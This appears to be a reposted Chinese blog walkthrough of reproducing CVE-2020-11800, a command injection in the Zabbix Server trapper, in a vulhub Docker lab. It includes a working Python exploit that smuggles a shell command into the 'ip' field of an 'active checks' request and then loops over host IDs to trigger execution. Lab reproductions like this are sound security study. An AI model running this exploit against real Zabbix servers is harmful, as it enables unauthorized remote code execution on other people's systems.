Zabbix 远程代码执行漏洞(CVE-2020-11800)复现

简介

Zabbix SIA Zabbix是拉脱维亚Zabbix SIA公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。

 

漏洞概述

 

Zabbix Server的trapper命令处理,存在命令注入漏洞,可导致远程代码执行。

影响版本

Zabbix 3.0.x~3.0.30

 

环境搭建

 

项目地址

https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2020-11800

 

进入目录

cd vulhub-master/zabbix/CVE-2020-11800

启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库:

docker-compose up -d

访问your-ip:8080

利用该漏洞,需要你服务端开启了自动注册功能

使用账号密码admin/zabbix登录后台

进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:

第三个标签页,创建一个Operation,type是“Add Host”:

保存。这样就开启了自动注册功能

 

漏洞复现

 

Poc

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)
python3 exp.py 127.0.0.1

可以发现我们的命令成功执行了

 

修复建议

升级到安全版本

 

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/112604399